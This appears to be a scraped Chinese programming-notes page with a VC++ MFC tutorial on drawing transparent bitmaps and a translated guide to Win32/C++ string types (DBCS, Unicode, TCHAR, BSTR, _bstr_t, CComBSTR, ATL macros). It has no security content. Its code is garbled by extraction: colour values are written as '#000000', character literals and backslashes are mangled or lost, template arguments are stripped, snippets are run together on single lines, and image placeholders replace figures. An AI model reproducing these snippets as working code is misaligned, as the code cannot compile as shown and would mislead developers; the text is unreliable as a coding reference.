一些编程1 unix网络编程卷1 pdf
一些编程1
上次修改日期2007年1月30日
vk 提供的更多内容»
片断:
VC++ 透明位图
C++字符串完全指南
VC编程
#pragma 预处理指令详解
VC常用数据类型使用转换详解
WinSock
C++知识点
const使用详解
INI文件读写
编程文章
VC++ 透明位图
http://book.77169.org/ask18/how106994.htm
如何画透明位图
画透明位图通常的方法是使用遮罩。所谓遮罩就是一张黑白双色的位图,他和要透明的位图是对应的,遮罩描述了位图中需要透明的部分,透明的部分是黑色的,而不透明的是白色的,白色的部分就是透明的部分。
假设图A是要画的透明位图,图B是遮罩,图A上是一个大写字母A,字母是红色的,背景是黑色的,图B背景是白色的,上面有一个黑色的字母A和图A的形状是一样的。
比如我们要在一张蓝天白云的背景上透明地画图A,就是只把红色的字母A画上去。我们可以先将图B和背景进行与操作,再把图B和背景进行或操作就可以了。
用VC++ MFC实现的代码如下:
void CDemoDlg::OnPaint()
{
CPaintDC dc(this);
CBitmap BmpBack,BmpA,BmpB,*pOldBack,*pOldA,*pOldB;
BmpBack.LoadBitmap(IDB_BACKGROUND); // 载入背景图
BmpA.LoadBitmap(IDB_BITMAPA); //载入图A
BmpB.LoadBitmap(IDB_BITMAPB); //载入图B
CDC dcBack,dcA,dcB; //声明三个内存DC用于画图
dcBack.CreateCompatibleDC(&dc);
dcA.CreateCompatibleDC(&dc);
dcB.CreateCompatibleDC(&dc); //把这三个内存DC创建成和PaintDC兼容的DC
pOldBack=dcBack.SelectObject(&BmpBack);
pOldA=dcA.SelectObject(&BmpA);
pOldB=dcB.SelectObject(&BmpB); //把三个位图选入相应的DC
dc.BitBlt(0,0,100,100,&dcBack,0,0,SRCCOPY); //画背景
dc.BitBlt(0,0,48,48,&dcB,0,0,SRCAND); //用与的方式画遮罩图B
dc.BitBlt(0,0,48,48,&dcA,0,0,SRCPAINT); //用或的方式画遮图A
dcBack.SelectObject(pOldBack);
dcBack.SelectObject(pOldA);
dcBack.SelectObject(pOldB); //从内存DC中删除位图
}
你会看到红色的字母A透明地画在背景上了。
用遮罩的方法必须事先做好遮罩,遮罩和位图大小一样等于多消耗一倍的资源,比较浪费。还有一种画透明位图的方法,基本原理是一样的,只是不用事先做好遮罩,根据需要动态生成遮罩,但是要求需要透明的位图必须指定一种透明色,凡是这个透明色的地方则画成透明的。
用VC++ MFC实现的代码如下:
/*
这是一个用来画透明位图的函数
CDC *pDC 需要画位图的CDC指针
UINT IDImage 位图资源ID
CRect &rect 指定位图在pDC中的位置
COLORREF rgbMask 位图的透明色
*/
void DrawTransparentBitmap(CDC *pDC, UINT IDImage,CRect &rect, COLORREF rgbMask)
{
CDC ImageDC,MaskDC;
CBitmap Image,*pOldImage;
CBitmap maskBitmap,*pOldMaskDCBitmap ;
Image.LoadBitmap(IDImage);
ImageDC.CreateCompatibleDC(pDC);
pOldImage=ImageDC.SelectObject(&Image);
MaskDC.CreateCompatibleDC(pDC);
maskBitmap.CreateBitmap( rect.Width(), rect.Height(), 1, 1, NULL );
pOldMaskDCBitmap = MaskDC.SelectObject( &maskBitmap );
ImageDC.SetBkColor(rgbMask);
MaskDC.BitBlt( 0, 0, rect.Width(), rect.Height(), &ImageDC, 0, 0, SRCCOPY );
ImageDC.SetBkColor(#000000);
ImageDC.SetTextColor(#ffffff);
ImageDC.BitBlt(0, 0, rect.Width(), rect.Height(), &MaskDC, 0, 0, SRCAND);
pDC->BitBlt(rect.left,rect.top,rect.Width(), rect.Height(), &MaskDC, 0, 0, SRCAND);
pDC->BitBlt(rect.left,rect.top,rect.Width(), rect.Height(), &ImageDC, 0, 0,SRCPAINT);
MaskDC.SelectObject(pOldMaskDCBitmap);
ImageDC.SelectObject(pOldImage);
}
void CDemoDlg::OnPaint()
{
CPaintDC dc(this);
CBitmap BmpBack,*pOldBack,;
BmpBack.LoadBitmap(IDB_BACKGROUND);
CDC dcBack;
dcBack.CreateCompatibleDC(&dc);
pOldBack=dcBack.SelectObject(&BmpBack);
dc.BitBlt(0,0,100,100,&dcBack,0,0,SRCCOPY);
DrawTransparentBitmap(&dc,IDB_BITMAPA,CRect(0,0,48,48),#c0c000);
dcBack.SelectObject(pOldBack);
}
http://www.programfan.com/article/article.asp?classid=2
http://www.xren.net/program/vc/
C++字符串完全指南
C++字符串完全指南 - Win32字符编码(一)
前言
字符串的表现形式各异,象TCHAR,std::string,BSTR等等,有时还会见到怪怪的用_tcs起头的宏。这个指南的目的就是说明各种字符串类型及其用途,并说明如何在必要时进行类型的相互转换。
在指南的第一部分,介绍三种字符编码格式。理解编码的工作原理是致为重要的。即使你已经知道字符串是一个字符的数组这样的概念,也请阅读本文,它会让你明白各种字符串类之间的关系。
指南的第二部分,将阐述各个字符串类,什么时候使用哪种字符串类,及其相互转换。
字符串基础 - ASCII, DBCS, Unicode
所有的字符串类都起源于C语言的字符串,而C语言字符串则是字符的数组。首先了解一下字符类型。有三种编码方式和三种字符类型。
第一种编码方式是单字节字符集,称之为SBCS,它的所有字符都只有一个字节的长度。ASCII码就是SBCS。SBCS字符串由一个零字节结尾。
第二种编码方式是多字节字符集,称之为MBCS,它包含的字符中有单字节长的字符,也有多字节长的字符。Windows用到的MBCS只有二种字符类 型,单字节字符和双字节字符。因此Windows中用得最多的字符是双字节字符集,即DBCS,通常用它来代替MBCS。
在DBCS编码中, 用一些保留值来指明该字符属于双字节字符。例如,Shift-JIS(通用日语)编码中,值0x81-0x9F 和 0xE0-0xFC 的意思是:“这是一个双字节字符,下一个字节是这个字符的一部分”。这样的值通常称为前导字节(lead byte),总是大于0x7F。前导字节后面是跟随字节(trail byte)。DBCS的跟随字节可以是任何非零值。与SBCS一样,DBCS字符串也由一个零字节结尾。
第三种编码方式是Unicode。 Unicode编码标准中的所有字符都是双字节长。有时也将Unicode称为宽字符集(wide characters),因为它的字符比单字节字符更宽(使用更多内存)。注意,Unicode不是MBCS - 区别在于MBCS编码中的字符长度是不同的。Unicode字符串用二个零字节字符结尾(一个宽字符的零值编码)。
单字节字符集是拉丁字母,重音文字,用ASCII标准定义,用于DOS操作系统。双字节字符集用于东亚和中东语言。Unicode用于COM和Windows NT内部。
读者都很熟悉单字节字符集,它的数据类型是char。双字节字符集也使用char数据类型(双字节字符集中的许多古怪处之一)。Unicode字符集用wchar_t数据类型。Unicode字符串用L前缀起头,如:
wchar_t wch = L‘1‘; // 2 个字节, 0x0031
wchar_t* wsz = L"Hello"; // 12 个字节, 6 个宽字符
字符串的存储
单字节字符串顺序存放各个字符,并用零字节表示字符串结尾。例如,字符串"Bob"的存储格式为:
360pskdocImg_2_xyz
Unicode编码中,L"Bob"的存储格式为:
360pskdocImg_3_xyz
用0x0000 (Unicode的零编码)结束字符串。
DBCS 看上去有点象SBCS。以后我们会看到在串处理和指针使用上是有微妙差别的。字符串"日本语" (nihongo) 的存储格式如下(用LB和TB分别表示前导字节和跟随字节):
360pskdocImg_4_xyz
注意,"ni"的值不是WORD值0xFA93。值93和FA顺序组合编码为字符"ni"。(在高位优先CPU中,存放顺序正如上所述)。
字符串处理函数
C语言字符串处理函数,如strcpy(), sprintf(), atol()等只能用于单字节字符串。在标准库中有只用于Unicode字符串的函数,如wcscpy(), swprintf(), _wtol()。
微软在C运行库(CRT)中加入了对DBCS字符串的支持。对应于strxxx()函数,DBCS使用_mbsxxx()函数。在处理DBCS字符串 (如日语,中文,或其它DBCS)时,就要用_mbsxxx()函数。这些函数也能用于处理SBCS字符串(因为DBCS字符串可能就只含有单字节字 符)。
现在用一个示例来说明字符串处理函数的不同。如有Unicode字符串L"Bob":
360pskdocImg_5_xyz
x86 CPU的排列顺序是低位优先(little-endian)的,值0x0042的存储顺序为42 00。这时如用strlen()函数求字符串的长度就发生问题。函数找到第一个字节42,然后是00,意味着字符串结尾,于是返回1。反之,用 wcslen()函数求"Bob"的长度更糟糕。wcslen()首先找到0x6F42,然后是0x0062,以后就在内存缓冲内不断地寻找00 00直至发生一般性保护错(GPF)。
strxxx()及其对应的_mbsxxx()究竟是如何运作的?二者之间的不同是非常重要的,直接影响到正确遍历DBCS字符串的方法。下面先介绍字符串遍历,然后再回来讨论strxxx()和 _mbsxxx()。
字符串遍历
我 们中的大多数人都是从SBCS成长过来的,都习惯于用指针的 ++ 和 -- 操作符来遍历字符串,有时也使用数组来处理字符串中的字符。这二种方法对于SBCS 和 Unicode 字符串的操作都是正确无误的,因为二者的字符都是等长的,编译器能够的正确返回我们寻求的字符位置。
但对于DBCS字符串就不能这样了。用指针访问DBCS字符串有二个原则,打破这二个原则就会造成错误。
1. 不可使用 ++ 算子,除非每次都检查是否为前导字节。
2. 绝不可使用 -- 算子来向后遍历。
先说明原则2,因为很容易找到一个非人为的示例。假设,有一个配制文件,程序启动时要从安装路径读取该文件,如:C:Program FilesMyCoolAppconfig.bin。文件本身是正常的。
假设用以下代码来配制文件名:
bool GetConfigFileName ( char* pszName, size_t nBuffSize )
{
char szConfigFilename[MAX_PATH];
// 这里从注册表读取文件的安装路径,假设一切正常。
// 如果路径末尾没有反斜线,就加上反斜线。
// 首先,用指针指向结尾零:
char* pLastChar = strchr ( szConfigFilename, ‘ ‘ );
// 然后向后退一个字符:
pLastChar--;
if ( *pLastChar != ‘\‘ )
strcat ( szConfigFilename, "\" );
// 加上文件名:
strcat ( szConfigFilename, "config.bin" );
// 如果字符串长度足够,返回文件名:
if ( strlen ( szConfigFilename ) >= nBuffSize )
return false;
else
{
strcpy ( pszName, szConfigFilename );
return true;
}
}
这段代码的保护性是很强的,但用到DBCS字符串还是会出错。假如文件的安装路径用日语表达:C:ヨウユソ,该字符串的内存表达为:
360pskdocImg_6_xyz
这时用上面的GetConfigFileName()函数来检查文件路径末尾是否含有反斜线就会出错,得到错误的文件名。
错在哪里?注意上面的二个十六进制值0x5C(蓝色)。前面的0x5C是字符"",后面则是字符值83 5C,代表字符"ソ"。可是函数把它误认为反斜线了。
正确的方法是用DBCS函数将指针指向恰当的字符位置,如下所示:
bool FixedGetConfigFileName ( char* pszName, size_t nBuffSize )
{
char szConfigFilename[MAX_PATH];
// 这里从注册表读取文件的安装路径,假设一切正常。
// 如果路径末尾没有反斜线,就加上反斜线。
// 首先,用指针指向结尾零:
char* pLastChar = _mbschr ( szConfigFilename, ‘ ‘ );
// 然后向后退一个双字节字符:
pLastChar = CharPrev ( szConfigFilename, pLastChar );
if ( *pLastChar != ‘\‘ )
_mbscat ( szConfigFilename, "\" );
// 加上文件名:
_mbscat ( szConfigFilename, "config.bin" );
// 如果字符串长度足够,返回文件名:
if ( _mbslen ( szInstallDir ) >= nBuffSize )
return false;
else
{
_mbscpy ( pszName, szConfigFilename );
return true;
}
}
这个改进的函数用CharPrev() API 函数将指针pLastChar向后移动一个字符。如果字符串末尾的字符是双字节字符,就向后移动2个字节。这时返回的结果是正确的,因为不会将字符误判为反斜线。
现在可以想像到第一原则了。例如,要遍历字符串寻找字符":",如果不使用CharNext()函数而使用++算子,当跟随字节值恰好也是":"时就会出错。
与原则2相关的是数组下标的使用:
2a. 绝不可在字符串数组中使用递减下标。
出错原因与原则2相同。例如,设置指针pLastChar为:
char* pLastChar = &szConfigFilename [strlen(szConfigFilename) - 1];
结果与原则2的出错一样。下标减1就是指针向后移动一个字节,不符原则2。
再谈strxxx() 与_mbsxxx()
现 在可以清楚为什么要用 _mbsxxx() 函数了。strxxx() 函数不认识DBCS字符而 _mbsxxx()认识。如果调用strrchr("C:\", ‘\‘)函数可能会出错,但 _mbsrchr()认识双字节字符,所以能返回指向最后出现反斜线字符的指针位置。
最后提一下strxxx() 和 _mbsxxx() 函数族中的字符串长度测量函数,它们都返回字符串的字节数。如果字符串含有3个双字节字符,_mbslen()将返回6。而Unicode的函数返回的是 wchar_ts的数量,如wcslen(L"Bob") 返回3
C++字符串完全指南 - Win32字符编码(二)
Win32 API中的MBCS 和 Unicode
API的二个字符集
也 许你没有注意到,Win32的API和消息中的字符串处理函数有二种,一种为MCBS字符串,另一种为Unicode字符串。例如,Win32中没有 SetWindowText()这样的接口,而是用SetWindowTextA()和 SetWindowTextW()函数。后缀A (表示ANSI)指明是MBCS函数,后缀W(表示宽字符)指明是Unicode函数。
编写Windows程序时,可以选择用MBCS或 Unicode API接口函数。用VC AppWizards向导时,如果不修改预处理器设置,缺省使用的是MBCS函数。但是在API接口中没有SetWindowText()函数,该如何调 用呢?实际上,在winuser.h头文件中做了以下定义:
BOOL WINAPI SetWindowTextA ( HWND hWnd, LPCSTR lpString );
BOOL WINAPI SetWindowTextW ( HWND hWnd, LPCWSTR lpString );
#ifdef UNICODE
#define SetWindowText SetWindowTextW
#else
#define SetWindowText SetWindowTextA
#endif
编写MBCS应用时,不必定义UNICODE,预处理为:
#define SetWindowText SetWindowTextA
然后将SetWindowText()处理为真正的API接口函数SetWindowTextA() (如果愿意的话,可以直接调用SetWindowTextA() 或SetWindowTextW()函数,不过很少有此需要)。
如果要将缺省应用接口改为Unicode,就到预处理设置的预处理标记中去掉 _MBCS标记,加入UNICODE 和 _UNICODE (二个标记都要加入,不同的头文件使用不同的标记)。不过,这时要处理普通字符串反而会遇到问题。如有代码:
HWND hwnd = GetSomeWindowHandle();
char szNewText[] = "we love Bob!";
SetWindowText ( hwnd, szNewText );
编译器将"SetWindowText"置换为"SetWindowTextW"后,代码变为:
HWND hwnd = GetSomeWindowHandle();
char szNewText[] = "we love Bob!";
SetWindowTextW ( hwnd, szNewText );
看出问题了吧,这里用一个Unicode字符串处理函数来处理单字节字符串。
第一种解决办法是使用宏定义:
HWND hwnd = GetSomeWindowHandle();
#ifdef UNICODE
wchar_t szNewText[] = L"we love Bob!";
#else
char szNewText[] = "we love Bob!";
#endif
SetWindowText ( hwnd, szNewText );
要对每一个字符串都做这样的宏定义显然是令人头痛的。所以用TCHAR来解决这个问题:
TCHAR的救火角色
TCHAR 是一种字符类型,适用于MBCS 和 Unicode二种编码。程序中也不必到处使用宏定义。
TCHAR的宏定义如下:
#ifdef UNICODE
typedef wchar_t TCHAR;
#else
typedef char TCHAR;
#endif
所以,TCHAR中在MBCS程序中是char类型,在Unicode中是 wchar_t 类型。
对于Unicode字符串,还有个 _T() 宏,用于解决 L 前缀:
#ifdef UNICODE
#define _T(x) L##x
#else
#define _T(x) x
#endif
## 是预处理算子,将二个变量粘贴在一起。不管什么时候都对字符串用 _T 宏处理,这样就可以在Unicode编码中给字符串加上L前缀,如:
TCHAR szNewText[] = _T("we love Bob!");
SetWindowTextA/W 函数族中还有其它隐藏的宏可以用来代替strxxx() 和 _mbsxxx() 字符串函数。例如,可以用 _tcsrchr 宏取代strrchr(),_mbsrchr(),或 wcsrchr()函数。_tcsrchr 根据编码标记为_MBCS 或 UNICODE,将右式函数做相应的扩展处理。宏定义方法类似于SetWindowText。
不止strxxx()函数族中有 TCHAR宏定义,其它一些函数中也有。例如,_stprintf (取代sprintf()和swprintf()),和 _tfopen (取代fopen() 和 _wfopen())。MSDN的全部宏定义在"Generic-Text Routine Mappings"栏目下。
String 和 TCHAR 类型定义
Win32 API 文件中列出的函数名都是通用名(如"SetWindowText"),所有的字符串都按照TCHAR类型处理。(只有XP除外,XP只使用Unicode类型)。下面是MSDN给出的常用类型定义:
类型
MBCS 编码中的意义
Unicode 编码中的意义
WCHAR
wchar_t
wchar_t
LPSTR
zero-terminated string of char (char*)
zero-terminated string of char (char*)
LPCSTR
constant zero-terminated string of char (constchar*)
constant zero-terminated string of char (constchar*)
LPWSTR
zero-terminated Unicode string (wchar_t*)
zero-terminated Unicode string (wchar_t*)
LPCWSTR
constant zero-terminated Unicode string (const wchar_t*)
constant zero-terminated Unicode string (const wchar_t*)
TCHAR
char
wchar_t
LPTSTR
zero-terminated string of TCHAR (TCHAR*)
zero-terminated string of TCHAR (TCHAR*)
LPCTSTR
constant zero-terminated string of TCHAR (const TCHAR*)
constant zero-terminated string of TCHAR (const TCHAR*)
何时使用TCHAR 和Unicode
可能会有疑问:“为什么要用Unicode?我一直用的都是普通字符串。”
在三种情况下要用到Unicode:
1.程序只运行于Windows NT。
2.处理的字符串长于MAX_PATH定义的字符数。
3.程序用于Windows XP中的新接口,那里没有A/W版本之分。
大部分Unicode API不可用于Windows 9x。所以如果程序要在Windows 9x上运行的话,要强制使用MBCS API (微软推出一个可运行于Windows 9x的新库,叫做Microsoft Layer for Unicode。但我没有试用过,无法说明它的好坏)。相反,NT内部全部使用Unicode编码,使用Unicode API可以加速程序运行。每当将字符串处理为MBCS API时,操作系统都会将字符串转换为Unicode并调用相应的Unicode API 函数。对于返回的字符串,操作系统要做同样的转换。尽管这些转换经过了高度优化,模块尽可能地压缩到最小,但毕竟会影响到程序的运行速度。
NT允许使用超长文件名(长于MAX_PATH 定义的260),但只限于Unicode API使用。Unicode API的另外一个优点是程序能够自动处理输入的文字语言。用户可以混合输入英文,中文和日文作为文件名。不必使用其它代码来处理,都按照Unicode编 码方式处理。
最后,作为Windows 9x的结局,微软似乎抛弃了MBCS API。例如,SetWindowTheme() 接口函数的二个参数只支持Unicode编码。使用Unicode编码省却了MBCS与Unicode之间的转换过程。如果程序中还没有使用到 Unicode编码,要坚持使用TCHAR和相应的宏。这样不但可以长期保持程序中DBCS编码的安全性,也利于将来扩展使用到Unicode编码。那时 只要改变预处理中的设置即可!
C++字符串完全指南 - 各种字符串类(一)
前言
C语言的字符串容易出错,难以管理,并且往往是黑客到处寻找的目标。于是,出现了许多字符串包装类。可惜,人们并不很清楚什么情况下该用哪个类,也不清楚如何将C语言字符串转换到包装类。
本文涉及到Win32 API,MFC,STL,WTL和Visual C++运行库中使用到的所有的字符串类型。说明各个类的用法,如何构造对象,如何进行类转换等等。Nish为本文提供了Visual C++ 7的managed string 类的用法。
阅读本文之前,应完全理解本指南第一部分中阐述的字符类型和编码。
字符串类的首要原则:
不要随便使用类型强制转换,除非转换的类型是明确由文档规定的。
之所以撰写字符串指南这二篇文章,是因为常有人问到如何将X类型的字符串转换到Z类型。提问者使用了强制类型转换 (cast),但不知道为什么不能转换成功。各种各样的字符串类型,特别是BSTR,在任何场合都不是三言二语可以讲清的。因此,我以为这些提问者是想让强制类型转换来处理一切。
除非明确规定了转换算子,不要将任何其它类型数据强制转换为string。一个字符串不能用强制类型转换到string类。例如:
void SomeFunc ( LPCWSTR widestr );
main()
{
SomeFunc ( (LPCWSTR) "C:\foo.txt" ); // 错!
}
这段代码100%错误。它可以通过编译,因为类型强制转换超越了编译器的类型检验。但是,能够通过编译,并不证明代码是正确的。
下面,我将指出什么时候用类型强制转换是合理的。
C语言字符串与类型定义
如指南的第一部分所述,Windows API定义了TCHAR术语。它可用于MBCS或Unicode编码字符,取决于预处理设置为_MBCS 或 _UNICODE标记。关于TCHAR的详细说明请阅指南的第一部分。为便于叙述,下面给出字符类型定义:
Type
Meaning
WCHAR Unicode character (wchar_t)
TCHAR MBCS or Unicode character, depending on preprocessor settings
LPSTR string of char (char*)
LPCSTR constant string of char (constchar*)
LPWSTR string of WCHAR (WCHAR*)
LPCWSTR constant string of WCHAR (const WCHAR*)
LPTSTR string of TCHAR (TCHAR*)
LPCTSTR constant string of TCHAR (const TCHAR*)
另外还有一个字符类型OLECHAR。这是一种对象链接与嵌入的数据类型(比如嵌入Word文档)。这个类型通常定义为wchar_t。如果将预处理设置定义为OLE2ANSI,OLECHAR将被定义为char类型。现在已经不再定义OLE2ANSI(它只在MFC 3以前版本中使用),所以我将OLECHAR作为Unicode字符处理。
下面是与OLECHAR相关的类型定义:
Type
Meaning
OLECHAR Unicode character (wchar_t)
LPOLESTR string of OLECHAR (OLECHAR*)
LPCOLESTR constant string of OLECHAR (const OLECHAR*)
还有以下二个宏让相同的代码能够适用于MBCS和Unicode编码:
Type
Meaning
_T(x) Prepends L to the literal in Unicode builds.
OLESTR(x) Prepends L to the literal to make it an LPCOLESTR.
宏_T有几种形式,功能都相同。如: -- TEXT, _TEXT, __TEXT, 和 __T这四种宏的功能相同。
COM中的字符串 - BSTR 与 VARIANT
许多COM接口使用BSTR声明字符串。BSTR有一些缺陷,所以我在这里让它独立成章。
BSTR 是Pascal类型字符串(字符串长度值显式地与数据存放在一起)和C类型字符串(字符串长度必须通过寻找到结尾零字符来计算)的混合型字符串。BSTR 属于Unicode字符串,字符串中预置了字符串长度值,并且用一个零字符来结尾。下面是一个"Bob"的 BSTR字符串:
360pskdocImg_7_xyz
注意,字符串长度值是一个DWORD类型值,给出字符串的字节长度,但不包括结尾零。在上例,"Bob"含有3个 Unicode字符(不计结尾零),6个字节长。因为明确给出了字符串长度,所以当BSTR数据在不同的处理器和计算机之间传送时,COM库能够知道应该传送的数据量。
附带说一下,BSTR可以包含任何数据块,不单是字符。它甚至可以包容内嵌零字符数据。这些不在本文讨论范围。
C++中的BSTR变量其实就是指向字符串首字符的指针。BSTR是这样定义的:
typedef OLECHAR* BSTR;
这个定义很糟糕,因为事实上BSTR与Unicode字符串不一样。有了这个类型定义,就越过了类型检查,可以混合使用LPOLESTR和BSTR。向一个需要LPCOLESTR (或 LPCWSTR)类型数据的函数传递BSTR数据是安全的,反之则不然。所以要清楚了解函数所需的字符串类型,并向函数传递正确类型的字符串。
要知道为什么向一个需要BSTR类型数据的函数传递LPCWSTR类型数据是不安全的,就别忘了BSTR必须在字符串开头的四个字节保留字符串长度值。但 LPCWSTR字符串中没有这个值。当其它的处理过程(如Word)要寻找BSTR的长度值时就会找到一堆垃圾或堆栈中的其它数据或其它随机数据。这就导致方法失效,当长度值太大时将导致崩溃。
许 多应用接口都使用BSTR,但都用到二个最重要的函数来构造和析构BSTR。就是SysAllocString ()和SysFreeString()函数。SysAllocString()将Unicode字符串拷贝到BSTR,SysFreeString()释 放BSTR。示例如下:
BSTR bstr = NULL;
bstr = SysAllocString ( L"Hi Bob!" );
if ( NULL == bstr )
// 内存溢出
// 这里使用bstr
SysFreeString ( bstr );
当然,各种BSTR包装类都会小心地管理内存。
自动接口中的另一个数据类型是VARIANT。它用于在无类型语言,诸如JScript,VBScript,以及 Visual Basic,之间传递数据。VARIANT可以包容许多不用类型的数据,如long和IDispatch*。如果VARIANT包含一个字符串,这个字符串是BSTR类型。在下文的VARIANT包装类中我还会谈及更多的VARIANT。
C++字符串完全指南 - 各种字符串类- CRT类
_bstr_t
字符串包装类
我已经说明了字符串的各种类型,现在讨论包装类。对于每个包装类,我都会说明它的对象构造过程和如何转换成C类型字符串指针。应用接口的调用,或构造另一个不同类型的字符串类,大多都要用到C类型指针。本文不涉及类的其它操作,如排序和比较等。
再强调一下,在完全了解转换结果之前不要随意使用强制类型转换。
CRT类
_bstr_t
_bstr_t 是BSTR的完全包装类。实际上,它隐含了BSTR。它提供多种构造函数,能够处理隐含的C类型字符串。但它本身却不提供BSTR的处理机制,所以不能作 为COM方法的输出参数[out]。如果要用到BSTR* 类型数据,用ATL的CComBSTR类更为方便。
_bstr_t 数据可以传递给需要BSTR数据的函数,但必须满足以下三个条件:
首先,_bstr_t 具有能够转换为wchar_t*类型数据的函数。
其次,根据BSTR定义,使得wchar_t* 和BSTR对于编译器来说是相同的。
第三,_bstr_t内部保留的指向内存数据块的指针 wchar_t* 要遵循BSTR格式。
满足这些条件,即使没有相应的BSTR转换文档,_bstr_t 也能正常工作。示例如下:
// 构造
_bstr_t bs2 = L"wide char string"; // 从LPCWSTR构造
_bstr_t bs1 = "char string";// 从LPCSTR构造
_variant_t v = "Bob";
_bstr_t bs3 = bs1;// 拷贝另一个 _bstr_t
_bstr_t bs4 = v;// 从一个含有字符串的 _variant_t 构造
// 数据萃取
LPCSTR psz1 = bs1; // 自动转换到MBCS字符串
LPCSTR psz2 = (LPCSTR) bs1; // cast OK, 同上
LPCWSTR pwsz1 = bs1; // 返回内部的Unicode字符串
LPCWSTR pwsz2 = (LPCWSTR) bs1;// cast OK, 同上
BSTR bstr = bs1.copy(); // 拷贝bs1, 返回BSTR
// ...
SysFreeString ( bstr );
注意,_bstr_t 也可以转换为char* 和 wchar_t*。这是个设计问题。虽然char* 和 wchar_t*不是常量指针,但不能用于修改字符串,因为可能会打破内部BSTR结构。
_variant_t
_variant_t
_variant_t 是VARIANT的完全包装类。它提供多种构造函数和数据转换函数。本文仅讨论与字符串有关的操作。
// 构造
_variant_t v1 = "char string"; // 从LPCSTR 构造
_variant_t v2 = L"wide char string"; // 从LPCWSTR 构造
_bstr_t bs1 = "Bob";
_variant_t v3 = bs1; // 拷贝一个 _bstr_t 对象
// 数据萃取
_bstr_t bs2 = v1; // 从VARIANT中提取BSTR
_bstr_t bs3 = ( _bstr_t ) v1; // cast OK, 同上
注意,_variant_t 方法在转换失败时会抛出异常,所以要准备用catch 捕捉_com_error异常。
另外要注意 _variant_t 不能直接转换成MBCS字符串。要建立一个过渡的_bstr_t 变量,用其它提供转换Unicode到MBCS的类函数,或ATL转换宏来转换。
与_bstr_t 不同,_variant_t 数据可以作为参数直接传送给COM方法。_variant_t 继承了VARIANT类型,所以在需要使用VARIANT的地方使用_variant_t 是C++语言规则允许的。
C++字符串完全指南 - STL和ATL类
STL类
STL类
STL只有一个字符串类,即basic_string。basic_string管理一个零结尾的字符数组。字符类 型由模板参数决定。通常,basic_string被处理为不透明对象。可以获得一个只读指针来访问缓冲区,但写操作都是由basic_string的成 员函数进行的。
basic_string预定义了二个特例:string,含有char类型字符;which,含有wchar_t类型字符。没有内建的TCHAR特例,可用下面的代码实现:
// 特例化 typedef basic_string tstring; // TCHAR字符串 // 构造 string str = "char string"; // 从LPCSTR构造 wstring wstr = L"wide char string"; // 从LPCWSTR构造 tstring tstr = _T("TCHAR string"); // 从LPCTSTR构造 // 数据萃取 LPCSTR psz = str.c_str(); // 指向str缓冲区的只读指针 LPCWSTR pwsz = wstr.c_str(); // 指向wstr缓冲区的只读指针 LPCTSTR ptsz = tstr.c_str(); // 指向tstr缓冲区的只读指针
与_bstr_t 不同,basic_string不能在字符集之间进行转换。但是如果一个构造函数接受相应的字符类型,可以将由c_str()返回的指针传递给这个构造函数。例如:
// 从basic_string构造_bstr_t
_bstr_t bs1 = str.c_str(); // 从LPCSTR构造 _bstr_t _bstr_t bs2 = wstr.c_str(); // 从LPCWSTR构造 _bstr_t ATL类
CComBSTR
CComBSTR 是ATL的BSTR包装类。某些情况下比_bstr_t 更有用。最主要的是,CComBSTR允许操作隐含BSTR。就是说,传递一个CComBSTR对象给COM方法时,CComBSTR对象会自动管理BSTR内存。例如,要调用下面的接口函数:
// 简单接口 struct IStuff : public IUnknown { // 略去COM程序... STDMETHOD(SetText)(BSTR bsText); STDMETHOD(GetText)(BSTR* pbsText); };
CComBSTR 有一个BSTR操作方法,能将BSTR直接传递给SetText()。还有一个引用操作(operator &)方法,返回BSTR*,将BSTR*传递给需要它的有关函数。
CComBSTR bs1;
CComBSTR bs2 = "new text";
pStuff->GetText ( &bs1 ); // ok, 取得内部BSTR地址 pStuff->SetText ( bs2 ); // ok, 调用BSTR转换 pStuff->SetText ( (BSTR) bs2 ); // cast ok, 同上
CComVariant
CComBSTR有类似于 _bstr_t 的构造函数。但没有内建MBCS字符串的转换函数。可以调用ATL宏进行转换。
// 构造 CComBSTR bs1 = "char string"; // 从LPCSTR构造 CComBSTR bs2 = L"wide char string"; // 从LPCWSTR构造 CComBSTR bs3 = bs1; // 拷贝CComBSTR CComBSTR bs4; bs4.LoadString ( IDS_SOME_STR ); // 从字符串表加载 // 数据萃取 BSTR bstr1 = bs1; // 返回内部BSTR,但不可修改! BSTR bstr2 = (BSTR) bs1; // cast ok, 同上 BSTR bstr3 = bs1.Copy(); // 拷贝bs1, 返回BSTR BSTR bstr4; bstr4 = bs1.Detach(); // bs1不再管理它的BSTR // ... SysFreeString ( bstr3 ); SysFreeString ( bstr4 );
上面的最后一个示例用到了Detach()方法。该方法调用后,CComBSTR对象就不再管理它的BSTR或其相应内存。所以bstr4就必须调用SysFreeString()。
最后讨论一下引用操作符(operator &)。它的超越使得有些STL集合(如list)不能直接使用CComBSTR。在集合上使用引用操作返回指向包容类的指针。但是在 CComBSTR上使用引用操作,返回的是BSTR*,不是CComBSTR*。不过可以用ATL的CAdapt类来解决这个问题。例如,要建立一个 CComBSTR的队列,可以声明为:
std::list< CAdapt> bstr_list;
CAdapt 提供集合所需的操作,是隐含于代码的。这时使用bstr_list 就象在操作一个CComBSTR队列。
CComVariant
CComVariant 是VARIANT的包装类。但与 _variant_t 不同,它的VARIANT不是隐含的,可以直接操作类里的VARIANT成员。CComVariant 提供多种构造函数和多类型操作。这里只介绍与字符串有关的操作。
// 构造 CComVariant v1 = "char string"; // 从LPCSTR构造 CComVariant v2 = L"wide char string"; // 从LPCWSTR构造 CComBSTR bs1 = "BSTR bob"; CComVariant v3 = (BSTR) bs1; // 从BSTR拷贝 // 数据萃取 CComBSTR bs2 = v1.bstrVal; // 从VARIANT提取BSTR
跟_variant_t 不同,CComVariant没有不同VARIANT类型之间的转换操作。必须直接操作VARIANT成员,并确定该VARIANT的类型无误。调用ChangeType()方法可将CComVariant数据转换为BSTR。
CComVariant v4 = ... // 从某种类型初始化 v4 CComBSTR bs3; if ( SUCCEEDED( v4.ChangeType ( VT_BSTR ) )) bs3 = v4.bstrVal;
跟 _variant_t 一样,CComVariant不能直接转换为MBCS字符串。要建立一个过渡的_bstr_t 变量,用其它提供转换Unicode到MBCS的类函数,或ATL转换宏来转换。
ATL转换宏
ATL的字符串转换宏可以方便地转换不同编码的字符,用在函数中很有效。宏按照[source type]2[new type] 或 [source type]2C[new type]格式命名。后者转换为一个常量指针 (名字内含"C")。类型缩写如下:
A:MBCS字符串,char* (A for ANSI)
W:Unicode字符串,wchar_t* (W for wide)
T:TCHAR字符串,TCHAR*
OLE:OLECHAR字符串,OLECHAR* (实际等于W)
BSTR:BSTR (只用于目的类型)
